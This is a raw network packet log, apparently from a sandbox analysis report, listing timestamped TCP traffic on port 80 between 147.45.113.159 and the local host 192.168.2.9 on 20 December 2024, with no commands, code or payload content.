Dec 20, 2024 17:13:44.578814983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.578856945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.578959942 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.579111099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.579360962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.579402924 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.579483986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.580059052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.580104113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.580141068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.580907106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.580952883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.580957890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.581656933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.581686020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.581743956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.582514048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.582564116 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.582591057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.583177090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.583219051 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.583482981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.584002018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.584043980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.584044933 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.584772110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.584841013 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.584860086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.585562944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.585599899 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.585669994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.586366892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.586399078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.586481094 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.587110043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.587145090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.587168932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.587912083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.587933064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.587944984 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.588670015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.588730097 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.588820934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.589445114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.589481115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.589530945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.590265036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.590306044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.590325117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.591073990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.591113091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.591147900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.591804981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.591844082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.591900110 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.592609882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.592645884 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.592662096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.593374968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.593414068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.593503952 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.594181061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.594214916 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.594269037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.594944000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.594978094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.595012903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.595758915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.595797062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.595966101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.596518993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.596560955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.596618891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.597309113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.597342968 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.597398043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.598090887 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.598126888 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.598196030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.598870993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.598921061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.598932981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.599674940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.599721909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.599750996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.600440025 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.600482941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.600569010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.601296902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.601341009 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.601341963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.653435946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.653496027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.653533936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.653706074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.653740883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.653770924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.654500008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.654541969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.654560089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.655430079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.655476093 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.655561924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.655670881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.655703068 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.656322002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.656419039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.656455994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.656903028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.656995058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.657031059 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.657716036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.657824993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.657860994 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.658484936 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.658556938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.658591032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.659254074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.659456968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.659491062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.660073996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.660160065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.660190105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.660852909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.661113977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.661153078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.661629915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.661745071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.661792040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.662421942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.662508965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.662545919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.663208008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.663281918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.663327932 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.664103031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.664191008 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.664226055 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.664757013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.664935112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.664993048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.665513992 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.665606022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.665642977 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.666349888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.666435003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.666471958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.667097092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.667378902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.667421103 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.668010950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.668235064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.668271065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.694176912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.694231033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.694281101 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.694319010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.694469929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.694504976 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.695038080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.695178032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.695219040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.695787907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.695811987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.695847034 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.770895958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.770984888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.771133900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.771188974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.771512032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.771553993 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.771594048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.772130013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.772169113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.772221088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.772983074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.773008108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.773020029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.773721933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.773757935 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.773828983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.774557114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.774593115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.774787903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.775245905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.775294065 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.775336981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.776056051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.776102066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.776122093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.776813984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.776859045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.776926994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.777622938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.777667999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.777719021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.778378010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.778419971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.778460026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.779170036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.779213905 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.779284954 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.779939890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.779983044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.780066967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.780843973 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.780889988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.780932903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.781517982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.781563997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.781631947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.782291889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.782346010 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.782371044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.783065081 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.783132076 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.783135891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.783854961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.783890009 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.783921003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.784640074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.784677982 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.784842014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.785490036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.785531044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.786237955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.789218903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.789232969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.789246082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.789258003 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.789277077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.789318085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.789346933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.789357901 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.789378881 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.789541006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.789573908 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.789719105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.790366888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.790417910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.790539980 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.791254044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.791297913 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.791434050 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.792149067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.792162895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.792191029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.792861938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.792906046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.793035030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.793507099 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.793546915 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.793688059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.794400930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.794411898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.794450998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.845639944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.845679998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.845885038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.845890045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.845972061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.846007109 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.846725941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.846802950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.846844912 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.847415924 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.847723961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.847759962 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.847765923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.848443985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.848478079 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.848531961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.849256039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.849293947 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.849337101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.850076914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.850117922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.850155115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.850820065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.850856066 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.850939035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.851584911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.851622105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.851763964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.852375031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.852410078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.852480888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.853157043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.853189945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.853296995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.853951931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.853984118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.854093075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.854724884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.854757071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.854823112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.855509043 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.855541945 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.855626106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.856302023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.856342077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.856440067 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.857064962 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.857101917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.857220888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.857830048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.857877970 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.857947111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.858720064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.858762026 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.858834028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.859605074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.859662056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.859836102 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.860235929 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.860270977 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.860275030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.886286020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.886421919 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.886455059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.886704922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.886755943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.886792898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.887415886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.887465954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.887518883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.888164997 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.888209105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.963056087 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.963074923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.963201046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.963319063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.963478088 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.963526964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.964104891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.964180946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.964216948 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:44.964860916 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.965154886 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:44.965202093 CET	49711	80	192.168.2.9	147.45.113.159
